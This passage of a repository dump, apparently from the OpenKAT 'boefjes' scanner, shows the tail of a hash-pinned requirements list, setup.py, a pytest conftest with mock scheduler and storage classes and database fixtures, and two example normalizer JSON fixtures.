--hash=sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac \\\n    --hash=sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8 \\\n    --hash=sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232 \\\n    --hash=sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece \\\n    --hash=sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a \\\n    --hash=sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897 \\\n    --hash=sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d \\\n    --hash=sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4 \\\n    --hash=sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917 \\\n    --hash=sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396 \\\n    --hash=sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a \\\n    --hash=sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc \\\n    --hash=sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba \\\n    --hash=sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f \\\n    --hash=sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257 \\\n    --hash=sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30 \\\n    --hash=sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf \\\n    --hash=sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9 \\\n    --hash=sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049\n    # via alembic\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   alembic\n    #   anyio\n    #   asgiref\n    #   cryptography\n    #   exceptiongroup\n    #   fastapi\n    #   grpcio\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   referencing\n    #   returns\n    #   sqlalchemy\n    #   starlette\n    #   structlog\n    #   typing-inspection\n    #   uvicorn\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   fastapi\n    #   pydantic\n    #   pydantic-settings\nurllib3==2.6.3 \\\n    --hash=sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed \\\n    --hash=sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4\n    # via\n    #   boefjes\n    #   docker\n    #   requests\nuvicorn==0.29.0 \\\n    --hash=sha256:2c2aac7ff4f4365c206fd773a39bf4ebd1047c238f8b8268ad996829323473de \\\n    --hash=sha256:6a69214c0b6a087462412670b3ef21224fa48cae0e452b5883e8e8bdfdd11dd0\n    # via boefjes\nvalidators==0.20.0 \\\n    --hash=sha256:24148ce4e64100a2d5e267233e23e7afeb55316b47d30faae7eb6e7292bc226a\n    # via boefjes\nwin32-setctime==1.2.0 ; sys_platform == 'win32' \\\n    --hash=sha256:95d644c4e708aba81dc3704a116d8cbc974d70b3bdb8be1d150e36be6e9d1390 \\\n    --hash=sha256:ae1fdf948f5640aae05c511ade119313fb6a30d7eabe25fef9764dca5873c4c0\n    # via loguru\nwpscan-out-parse==1.9.3 \\\n    --hash=sha256:fb89dd6e67efa28abece2e430810f4f79c1eb37ab8fcd6f16e6bd4a5b1b500ef \\\n    --hash=sha256:fda37b8cf25baa6e6aee0ca069193f64066ccb1060de48e0b0ceda64a8d37b2d\n    # via boefjes\nwrapt==2.1.2 \\\n    --hash=sha256:08ffa54146a7559f5b8df4b289b46d963a8e74ed16ba3687f99896101a3990c5 \\\n    --hash=sha256:0fc04bc8664a8bc4c8e00b37b5355cffca2535209fba1abb09ae2b7c76ddf82b \\\n    --hash=sha256:1370e516598854e5b4366e09ce81e08bfe94d42b0fd569b88ec46cc56d9164a9 \\\n    --hash=sha256:162e4e2ba7542da9027821cb6e7c5e068d64f9a10b5f15512ea28e954893a267 \\\n    --hash=sha256:16997dfb9d67addc2e3f41b62a104341e80cac52f91110dece393923c0ebd5ca \\\n    --hash=sha256:1c51c738d7d9faa0b3601708e7e2eda9bf779e1b601dce6c77411f2a1b324a63 \\\n    --hash=sha256:1c6cc827c00dc839350155f316f1f8b4b0c370f52b6a19e782e2bda89600c7dc \\\n    --hash=sha256:2b8b28e97a44d21836259739ae76284e180b18abbb4dcfdff07a415cf1016c3e \\\n    --hash=sha256:2d3ff4f0024dd224290c0eabf0240f1bfc1f26363431505fb1b0283d3b08f11d \\\n    --hash=sha256:3144b027ff30cbd2fca07c0a87e67011adb717eb5f5bd8496325c17e454257a3 \\\n    --hash=sha256:3278c471f4468ad544a691b31bb856374fbdefb7fee1a152153e64019379f015 \\\n    --hash=sha256:3769a77df8e756d65fbc050333f423c01ae012b4f6731aaf70cf2bef61b34596 \\\n    --hash=sha256:3969c56e4563c375861c8df14fa55146e81ac11c8db49ea6fb7f2ba58bc1ff9a \\\n    --hash=sha256:3996a67eecc2c68fd47b4e3c564405a5777367adfd9b8abb58387b63ee83b21e \\\n    --hash=sha256:3b8d15e52e195813efe5db8cec156eebe339aaf84222f4f4f051a6c01f237ed7 \\\n    --hash=sha256:3beb22f674550d5634642c645aba4c72a2c66fb185ae1aebe1e955fae5a13baf \\\n    --hash=sha256:3d7b6fd105f8b24e5bd23ccf41cb1d1099796524bcc6f7fbb8fe576c44befbc9 \\\n    --hash=sha256:4006c351de6d5007aa33a551f600404ba44228a89e833d2fadc5caa5de8edfbf \\\n    --hash=sha256:467e7c76315390331c67073073d00662015bb730c566820c9ca9b54e4d67fd04 \\\n    --hash=sha256:4b7a86d99a14f76facb269dc148590c01aaf47584071809a70da30555228158c \\\n    --hash=sha256:4bdf26e03e6d0da3f0e9422fd36bcebf7bc0eeb55fdf9c727a09abc6b9fe472e \\\n    --hash=sha256:5681123e60aed0e64c7d44f72bbf8b4ce45f79d81467e2c4c728629f5baf06eb \\\n    --hash=sha256:577dff354e7acd9d411eaf4bfe76b724c89c89c8fc9b7e127ee28c5f7bcb25b6 \\\n    --hash=sha256:57d7c0c980abdc5f1d98b11a2aa3bb159790add80258c717fa49a99921456d90 \\\n    --hash=sha256:5a0a0a3a882393095573344075189eb2d566e0fd205a2b6414e9997b1b800a8b \\\n    --hash=sha256:5c35b5d82b16a3bc6e0a04349b606a0582bc29f573786aebe98e0c159bc48db6 \\\n    --hash=sha256:62503ffbc2d3a69891cf29beeaccdb4d5e0a126e2b6a851688d4777e01428dbb \\\n    --hash=sha256:6433ea84e1cfacf32021d2a4ee909554ade7fd392caa6f7c13f1f4bf7b8e8748 \\\n    --hash=sha256:64a07a71d2730ba56f11d1a4b91f7817dc79bc134c11516b75d1921a7c6fcda1 \\\n    --hash=sha256:6de1a3851c27e0bd6a04ca993ea6f80fc53e6c742ee1601f486c08e9f9b900a9 \\\n    --hash=sha256:6f2c5390460de57fa9582bc8a1b7a6c86e1a41dfad74c5225fc07044c15cc8d1 \\\n    --hash=sha256:6f8dbdd3719e534860d6a78526aafc220e0241f981367018c2875178cf83a413 \\\n    --hash=sha256:6f97edc9842cf215312b75fe737ee7c8adda75a89979f8e11558dfff6343cc4b \\\n    --hash=sha256:72aaa9d0d8e4ed0e2e98019cea47a21f823c9dd4b43c7b77bba6679ffcca6a00 \\\n    --hash=sha256:76405518ca4e1b76fbb1b9f686cff93aebae03920cc55ceeec48ff9f719c5f67 \\\n    --hash=sha256:767c0dbbe76cae2a60dd2b235ac0c87c9cccf4898aef8062e57bead46b5f6894 \\\n    --hash=sha256:776867878e83130c7a04237010463372e877c1c994d449ca6aaafeab6aab2586 \\\n    --hash=sha256:787fd6f4d67befa6fe2abdffcbd3de2d82dfc6fb8a6d850407c53332709d030b \\\n    --hash=sha256:79847b83eb38e70d93dc392c7c5b587efe65b3e7afcc167aa8abd5d60e8761c8 \\\n    --hash=sha256:7dfa9f2cf65d027b951d05c662cc99ee3bd01f6e4691ed39848a7a5fffc902b2 \\\n    --hash=sha256:84ce8f1c2104d2f6daa912b1b5b039f331febfeee74f8042ad4e04992bd95c8f \\\n    --hash=sha256:866abdbf4612e0b34764922ef8b1c5668867610a718d3053d59e24a5e5fcfc15 \\\n    --hash=sha256:96159a0ee2b0277d44201c3b5be479a9979cf154e8c82fa5df49586a8e7679bb \\\n    --hash=sha256:970d57ed83fa040d8b20c52fe74a6ae7e3775ae8cff5efd6a81e06b19078484c \\\n    --hash=sha256:98ba61833a77b747901e9012072f038795de7fc77849f1faa965464f3f87ff2d \\\n    --hash=sha256:9c691a6bc752c0cc4711cc0c00896fcd0f116abc253609ef64ef930032821842 \\\n    --hash=sha256:a76d61a2e851996150ba0f80582dd92a870643fa481f3b3846f229de88caf044 \\\n    --hash=sha256:a819e39017f95bf7aede768f75915635aa8f671f2993c036991b8d3bfe8dbb6f \\\n    --hash=sha256:a8914c754d3134a3032601c6984db1c576e6abaf3fc68094bb8ab1379d75ff92 \\\n    --hash=sha256:a9372fc3639a878c8e7d87e1556fa209091b0a66e912c611e3f833e2c4202be2 \\\n    --hash=sha256:a93cd767e37faeddbe07d8fc4212d5cba660af59bdb0f6372c93faaa13e6e679 \\\n    --hash=sha256:a9b9d50c9af998875a1482a038eb05755dfd6fe303a313f6a940bb53a83c3f18 \\\n    --hash=sha256:a9dd9813825f7ecb018c17fd147a01845eb330254dff86d3b5816f20f4d6aaf8 \\\n    --hash=sha256:b89f095fe98bc12107f82a9f7d570dc83a0870291aeb6b1d7a7d35575f55d98a \\\n    --hash=sha256:b8fd6fa2b2c4e7621808f8c62e8317f4aae56e59721ad933bac5239d913cf0e8 \\\n    --hash=sha256:bbac24d879aa22998e87f6b3f481a5216311e7d53c7db87f189a7a0266dafffb \\\n    --hash=sha256:c0be8b5a74c5824e9359b53e7e58bef71a729bacc82e16587db1c4ebc91f7c5a \\\n    --hash=sha256:c20b757c268d30d6215916a5fa8461048d023865d888e437fab451139cad6c8e \\\n    --hash=sha256:c7e6cd120ef837d5b6f860a6ea3745f8763805c418bb2f12eeb1fa6e25f22d22 \\\n    --hash=sha256:c87cf3f0c85e27b3ac7d9ad95da166bf8739ca215a8b171e8404a2d739897a45 \\\n    --hash=sha256:c8e46ae8e4032792eb2f677dbd0d557170a8e5524d22acc55199f43efedd39bf \\\n    --hash=sha256:cef91c95a50596fcdc31397eb6955476f82ae8a3f5a8eabdc13611b60ee380ba \\\n    --hash=sha256:d1c5fea4f9fe3762e2b905fdd67df51e4be7a73b7674957af2d2ade71a5c075d \\\n    --hash=sha256:d307aa6888d5efab2c1cde09843d48c843990be13069003184b67d426d145394 \\\n    --hash=sha256:d8f7740e1af13dff2684e4d56fe604a7e04d6c94e737a60568d8d4238b9a0c71 \\\n    --hash=sha256:da1f00a557c66225d53b095a97eace0fc5349e3bfda28fa34ffae238978ee575 \\\n    --hash=sha256:dad63212b168de8569b1c512f4eac4b57f2c6934b30df32d6ee9534a79f1493f \\\n    --hash=sha256:de9f1a2bbc5ac7f6012ec24525bdd444765a2ff64b5985ac6e0692144838542e \\\n    --hash=sha256:e3d3b35eedcf5f7d022291ecd7533321c4775f7b9cd0050a31a68499ba45757c \\\n    --hash=sha256:e6ed62c82ddf58d001096ae84ce7f833db97ae2263bff31c9b336ba8cfe3f508 \\\n    --hash=sha256:eba8155747eb2cae4a0b913d9ebd12a1db4d860fc4c829d7578c7b989bd3f2f0 \\\n    --hash=sha256:f01277d9a5fc1862f26f7626da9cf443bebc0abd2f303f41c5e995b15887dabd \\\n    --hash=sha256:f29c827a8d9936ac320746747a016c4bc66ef639f5cd0d32df24f5eacbf9c69f \\\n    --hash=sha256:f3b7d73012ea75aee5844de58c88f44cf62d0d62711e39da5a82824a7c4626a8 \\\n    --hash=sha256:f8bc1c264d8d1cf5b3560a87bbdd31131573eb25f9f9447bb6252b8d4c44a3a1 \\\n    --hash=sha256:f8fba1bae256186a83d1875b2b1f4e2d1242e8fac0f58ec0d7e41b26967b965c \\\n    --hash=sha256:fab036efe5464ec3291411fabb80a7a39e2dd80bae9bcbeeca5087fdfa891e19 \\\n    --hash=sha256:ff2aad9c4cda28a8f0653fc2d487596458c2a3f475e56ba02909e950a9efa6a9 \\\n    --hash=sha256:ff95d4264e55839be37bafe1536db2ab2de19da6b65f9244f01f332b5286cfbf\n    # via\n    #   boefjes\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-dbapi\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\n"
  },
  {
    "path": "boefjes/setup.py",
    "content": "from setuptools import find_packages, setup\n\nfrom boefjes.version import __version__\n\nsetup(\n    name=\"boefjes\",\n    version=__version__,\n    author=\"MinVWS\",\n    url=\"https://openkat.nl/\",\n    packages=find_packages(exclude=\"tests\"),\n    include_package_data=True,\n)\n"
  },
  {
    "path": "boefjes/tests/__init__.py",
    "content": "import os\nfrom pathlib import Path\n\nos.chdir(Path(__file__).parent.parent)\n"
  },
  {
    "path": "boefjes/tests/conftest.py",
    "content": "import base64\nimport multiprocessing\nimport time\nimport uuid\nfrom datetime import datetime, timezone\nfrom ipaddress import ip_address\nfrom pathlib import Path\nfrom typing import Any, Literal\nfrom uuid import UUID\n\nimport alembic.config\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom pydantic import TypeAdapter\nfrom sqlalchemy.orm import sessionmaker\n\nfrom boefjes.clients.bytes_client import BytesAPIClient\nfrom boefjes.config import settings\nfrom boefjes.dependencies.plugins import PluginService, get_plugin_service\nfrom boefjes.job_handler import NormalizerHandler, bytes_api_client\nfrom boefjes.katalogus.root import app\nfrom boefjes.local.runner import LocalNormalizerJobRunner\nfrom boefjes.sql.config_storage import SQLConfigStorage, create_encrypter\nfrom boefjes.sql.db import SQL_BASE, get_engine\nfrom boefjes.sql.organisation_storage import SQLOrganisationStorage, get_organisations_store\nfrom boefjes.sql.plugin_storage import SQLPluginStorage\nfrom boefjes.storage.interfaces import OrganisationNotFound\nfrom boefjes.storage.memory import ConfigStorageMemory, OrganisationStorageMemory, PluginStorageMemory\nfrom boefjes.worker.boefje_handler import LocalBoefjeHandler, _copy_raw_files\nfrom boefjes.worker.interfaces import (\n    BoefjeHandler,\n    BoefjeOutput,\n    BoefjeStorageInterface,\n    File,\n    SchedulerClientInterface,\n    StatusEnum,\n    Task,\n    TaskPop,\n    TaskStatus,\n    WorkerManager,\n)\nfrom boefjes.worker.job_models import BoefjeMeta, NormalizerMeta\nfrom boefjes.worker.manager import SchedulerWorkerManager\nfrom boefjes.worker.models import Organisation\nfrom boefjes.worker.repository import (\n    LocalPluginRepository,\n    _cached_resolve_boefjes,\n    _cached_resolve_normalizers,\n    get_boefje_resource,\n    get_local_repository,\n    get_normalizer_resource,\n)\nfrom octopoes.api.models import Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network\nfrom octopoes.models.ooi.service import IPService, Service\nfrom tests.loading import get_dummy_data\n\n\nclass MockSchedulerClient(SchedulerClientInterface):\n    def __init__(\n        self,\n        boefje_responses: list[bytes],\n        normalizer_responses: list[bytes],\n        log_path: Path,\n        raise_on_empty_queue: Exception = KeyboardInterrupt,\n        iterations_to_wait_for_exception: int = 0,\n        sleep_time: float = 0.1,\n    ):\n        self.boefje_responses = boefje_responses\n        self.normalizer_responses = normalizer_responses\n\n        log_path.touch(exist_ok=True)\n        self.log_path = log_path\n        self.raise_on_empty_queue = raise_on_empty_queue\n        self.iterations_to_wait_for_exception = iterations_to_wait_for_exception\n        self.sleep_time = sleep_time\n\n        self._iterations = 0\n        self._tasks: dict[str, list[Task]] = multiprocessing.Manager().dict()\n        self._popped_items: dict[str, list[Task]] = multiprocessing.Manager().dict()\n        self._pushed_items: dict[str, list[Task]] = multiprocessing.Manager().dict()\n\n    def pop_items(\n        self, queue: WorkerManager.Queue, filters: dict[str, list[dict[str, Any]]] | None = None, limit: int | None = 1\n    ) -> list[Task]:\n        time.sleep(self.sleep_time)\n\n        try:\n            if queue is WorkerManager.Queue.BOEFJES:\n                response = TypeAdapter(TaskPop).validate_json(self.boefje_responses.pop(0))\n            elif queue is WorkerManager.Queue.NORMALIZERS:\n                response = TypeAdapter(TaskPop).validate_json(self.normalizer_responses.pop(0))\n            else:\n                return []\n\n            p_items = response.results\n\n            for p_item in p_items:\n                self._popped_items[str(p_item.id)] = p_item\n                self._tasks[str(p_item.id)] = self._task_from_id(p_item.id)\n\n            return p_items\n\n        except IndexError:\n            time.sleep(3 * self.sleep_time)\n            raise self.raise_on_empty_queue\n\n    def patch_task(self, task_id: UUID, status: TaskStatus) -> None:\n        with self.log_path.open(\"a\") as f:\n            f.write(f\"{task_id},{status.value}\\n\")\n\n        task = self._task_from_id(task_id) if str(task_id) not in self._tasks else self._tasks[str(task_id)]\n        task.status = status\n        self._tasks[str(task_id)] = task\n\n    def get_all_patched_tasks(self) -> list[tuple[str, ...]]:\n        with self.log_path.open() as f:\n            return [tuple(x.strip().split(\",\")) for x in f]\n\n    def get_task(self, task_id: UUID, hydrate: bool = True) -> Task:\n        return self._task_from_id(task_id) if str(task_id) not in self._tasks else self._tasks[str(task_id)]\n\n    def _task_from_id(self, task_id: UUID):\n        return self._popped_items[str(task_id)]\n\n    def push_item(self, p_item: Task) -> None:\n        self._pushed_items[str(p_item.id)] = [p_item]\n\n\nclass MockBytesAPIClient(BoefjeStorageInterface):\n    def __init__(self):\n        self.queue = multiprocessing.Manager().Queue()\n\n    def save_output(self, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        self.save_boefje_meta(boefje_meta)\n\n        return self.save_raws(boefje_meta.id, boefje_output)\n\n    def save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        self.queue.put((\"save_boefje_meta\", (boefje_meta.model_dump(),)))\n\n    def save_raws(self, boefje_meta_id: uuid.UUID, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        self.queue.put((\"save_raw\", (boefje_meta_id, boefje_output)))\n\n        return {file.name: uuid.uuid4() for file in boefje_output.files}\n\n    def get_all(self) -> list[BoefjeMeta | NormalizerMeta]:\n        return [self.queue.get() for _ in range(self.queue.qsize())]\n\n\nclass MockHandler(BoefjeHandler, NormalizerHandler):\n    def __init__(self, exception=Exception):\n        self.sleep_time = 0\n        self.queue = multiprocessing.Manager().Queue()\n        self.exception = exception\n        self.boefje_storage = MockBytesAPIClient()\n\n    def handle(self, task: Task) -> tuple[BoefjeMeta, BoefjeOutput] | None | Literal[False]:\n        time.sleep(self.sleep_time)\n\n        if str(task.id) in [\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"2071c9fd-2b9f-440f-a524-ef1ca4824fd4\"]:\n            time.sleep(self.sleep_time)\n            raise self.exception()\n\n        self.queue.put(task)\n\n        if task.data.boefje.id == \"docker\":\n            return False\n\n        return task.data, BoefjeOutput(\n            status=StatusEnum.COMPLETED,\n            files=[File(name=\"1\", content=base64.b64encode(b\"123\").decode(), tags={\"my/mime\"})],\n        )\n\n    def copy_raw_files(\n        self, task: Task, output: tuple[BoefjeMeta, BoefjeOutput] | Literal[False], duplicated_tasks: list[Task]\n    ) -> None:\n        if output is False:\n            return\n\n        boefje_meta, boefje_output = output\n\n        _copy_raw_files(self.boefje_storage, boefje_meta, boefje_output, duplicated_tasks)\n\n    def get_all(self) -> list[Task]:\n        return [self.queue.get() for _ in range(self.queue.qsize())]\n\n\n@pytest.fixture(autouse=True)\ndef clear_caches():\n    get_boefje_resource.cache_clear()\n    get_normalizer_resource.cache_clear()\n    _cached_resolve_boefjes.cache_clear()\n    _cached_resolve_normalizers.cache_clear()\n\n\n@pytest.fixture\ndef item_handler(tmp_path: Path):\n    return MockHandler()\n\n\n@pytest.fixture\ndef mock_boefje_handler(mock_local_repository: LocalPluginRepository, mocker):\n    return LocalBoefjeHandler(mock_local_repository, mocker.MagicMock())\n\n\n@pytest.fixture\ndef manager(item_handler: MockHandler, tmp_path: Path) -> SchedulerWorkerManager:\n    scheduler_client = MockSchedulerClient(\n        boefje_responses=[\n            get_dummy_data(\"scheduler/pop_response_boefje.json\"),\n            get_dummy_data(\"scheduler/pop_response_boefje_2.json\"),\n            get_dummy_data(\"scheduler/should_crash.json\"),\n        ],\n        normalizer_responses=[get_dummy_data(\"scheduler/pop_response_normalizer.json\")],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n\n    return SchedulerWorkerManager(\n        item_handler, scheduler_client, pool_size=1, poll_interval=0.01, worker_heartbeat=1.0, deduplicate=True\n    )\n\n\n@pytest.fixture\ndef api(tmp_path):\n    from boefjes.api import app\n\n    return TestClient(app)\n\n\n@pytest.fixture\ndef session():\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n    engine = get_engine()\n    session = sessionmaker(bind=engine)()\n\n    yield session\n\n    session.commit()\n    engine.execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\n@pytest.fixture\ndef organisation_storage(session):\n    return SQLOrganisationStorage(session, settings)\n\n\n@pytest.fixture\ndef config_storage(session):\n    return SQLConfigStorage(session, create_encrypter())\n\n\n@pytest.fixture\ndef plugin_storage(session):\n    return SQLPluginStorage(session, settings)\n\n\n@pytest.fixture\ndef local_repository():\n    return get_local_repository()\n\n\n@pytest.fixture\ndef mock_local_repository():\n    return LocalPluginRepository(Path(__file__).parent / \"modules\")\n\n\n@pytest.fixture\ndef normalizer_runner(local_repository: LocalPluginRepository):\n    return LocalNormalizerJobRunner(local_repository)\n\n\n@pytest.fixture\ndef mock_normalizer_runner(mock_local_repository: LocalPluginRepository):\n    return LocalNormalizerJobRunner(mock_local_repository)\n\n\n@pytest.fixture\ndef plugin_service(plugin_storage, config_storage, local_repository):\n    return PluginService(plugin_storage, config_storage, local_repository)\n\n\n@pytest.fixture\ndef test_organisation():\n    return Organisation(id=\"test\", name=\"Test org\")\n\n\n@pytest.fixture\ndef second_test_organisation():\n    return Organisation(id=\"test2\", name=\"Test org2\")\n\n\n@pytest.fixture\ndef mock_plugin_service(mock_local_repository, test_organisation) -> PluginService:\n    storage = ConfigStorageMemory()\n    storage.upsert(test_organisation.id, \"test_plugin\", {\"DUMMY_VAR\": \"123\"})\n\n    return PluginService(PluginStorageMemory(), storage, mock_local_repository)\n\n\n@pytest.fixture\ndef organisation(organisation_storage, test_organisation) -> Organisation:\n    with organisation_storage as repo:\n        repo.create(test_organisation)\n\n    return test_organisation\n\n\n@pytest.fixture\ndef second_organisation(organisation_storage, second_test_organisation) -> Organisation:\n    with organisation_storage as repo:\n        repo.create(second_test_organisation)\n\n    return second_test_organisation\n\n\n@pytest.fixture\ndef unit_test_client(mock_plugin_service) -> TestClient:\n    client = TestClient(app)\n    _store = OrganisationStorageMemory({\"test\": Organisation(id=\"test\", name=\"Test\")})\n\n    services = {\"test\": mock_plugin_service}\n\n    def get_service(organisation_id: str):\n        if organisation_id in services:\n            return services.get(organisation_id)\n\n        raise OrganisationNotFound(organisation_id)\n\n    app.dependency_overrides[get_organisations_store] = lambda: _store\n    app.dependency_overrides[get_plugin_service] = get_service\n\n    yield client\n\n    app.dependency_overrides = {}\n\n\n@pytest.fixture\ndef test_client() -> TestClient:\n    return TestClient(app)\n\n\n@pytest.fixture\ndef octopoes_api_connector(organisation) -> OctopoesAPIConnector:\n    connector = OctopoesAPIConnector(str(settings.octopoes_api), organisation.id)\n    connector.create_node()\n    yield connector\n    connector.delete_node()\n\n\n@pytest.fixture\ndef bytes_client(request) -> BytesAPIClient:\n    return bytes_api_client\n\n\n@pytest.fixture\ndef valid_time():\n    return datetime.now(timezone.utc)\n\n\ndef seed_system(\n    octopoes_api_connector: OctopoesAPIConnector,\n    valid_time: datetime,\n    test_hostname: str = \"example.com\",\n    test_ip: str = \"192.0.2.3\",\n    test_ipv6: str = \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n    method: str = \"kat_nmap_normalize\",\n) -> dict[str, list[OOI]]:\n    network = Network(name=\"test\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    hostnames = [\n        Hostname(network=network.reference, name=test_hostname),\n        Hostname(network=network.reference, name=f\"a.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"b.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"c.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"d.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"e.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"f.{test_hostname}\"),\n    ]\n\n    addresses = [\n        IPAddressV4(network=network.reference, address=ip_address(test_ip)),\n        IPAddressV6(network=network.reference, address=ip_address(test_ipv6)),\n    ]\n    ports = [\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=25),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=443),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=22),\n        IPPort(address=addresses[1].reference, protocol=\"tcp\", port=80),\n    ]\n    services = [Service(name=\"smtp\"), Service(name=\"https\"), Service(name=\"http\"), Service(name=\"ssh\")]\n    ip_services = [\n        IPService(ip_port=ports[0].reference, service=services[0].reference),\n        IPService(ip_port=ports[1].reference, service=services[1].reference),\n        IPService(ip_port=ports[2].reference, service=services[3].reference),\n        IPService(ip_port=ports[3].reference, service=services[2].reference),\n    ]\n\n    oois = hostnames + addresses + ports + services + ip_services\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=method,\n            source_method=None,\n            source=hostnames[0].reference,\n            task_id=uuid.uuid4(),\n            valid_time=valid_time,\n            result=oois,\n        )\n    )\n    octopoes_api_connector.recalculate_bits()\n\n    return {\n        \"hostnames\": hostnames,\n        \"addresses\": addresses,\n        \"ports\": ports,\n        \"services\": services,\n        \"ip_services\": ip_services,\n    }\n"
  },
  {
    "path": "boefjes/tests/examples/adr-validator-normalize.json",
    "content": "{\n  \"id\": \"76c2d73e-6157-41b1-be43-75656f9160f9\",\n  \"raw_data\": {\n    \"id\": \"66451567-2381-4248-b5a1-d0d0985e065f\",\n    \"boefje_meta\": {\n      \"id\": \"f29f76c5-f7b1-4662-89c6-6dc313a9f93f\",\n      \"boefje\": {\n        \"id\": \"adr-validator\"\n      },\n      \"input_ooi\": \"RESTAPI|https|Internet|example.com|443|/api\",\n      \"arguments\": {\n        \"input\": {\n          \"object_type\": \"RESTAPI\",\n          \"scan_profile\": \"scan_profile_type='declared' reference=Reference('RESTAPI|https|Internet|example.com|443|/api/v1') level=<ScanLevel.L1: 1>\",\n          \"primary_key\": \"RESTAPI|https|Internet|ple.com|443|/api/v1\",\n          \"api_url\": {\n            \"scheme\": \"https\",\n            \"netloc\": {\n              \"network\": {\n                \"name\": \"Internet\"\n              },\n              \"name\": \"example.com\"\n            },\n            \"port\": \"443\",\n            \"path\": \"/api/v1\"\n          }\n        }\n      },\n      \"organization\": \"st\"\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/adr-validator\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"adr-validator-normalize\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/answer-normalize.json",
    "content": "{\n  \"id\": \"f50de284-d3c1-4f87-ba68-07b957b7a48f\",\n  \"raw_data\": {\n    \"id\": \"66451567-2381-4248-b5a1-d0d0985e065f\",\n    \"boefje_meta\": {\n      \"id\": \"f29f76c5-f7b1-4662-89c6-6dc313a9f93f\",\n      \"boefje\": {\n        \"id\": \"question\"\n      },\n      \"input_ooi\": \"Network|internet\",\n      \"arguments\": {},\n      \"organization\": \"tst\"\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"answer\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_answer_parser\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/body-normalize.json",
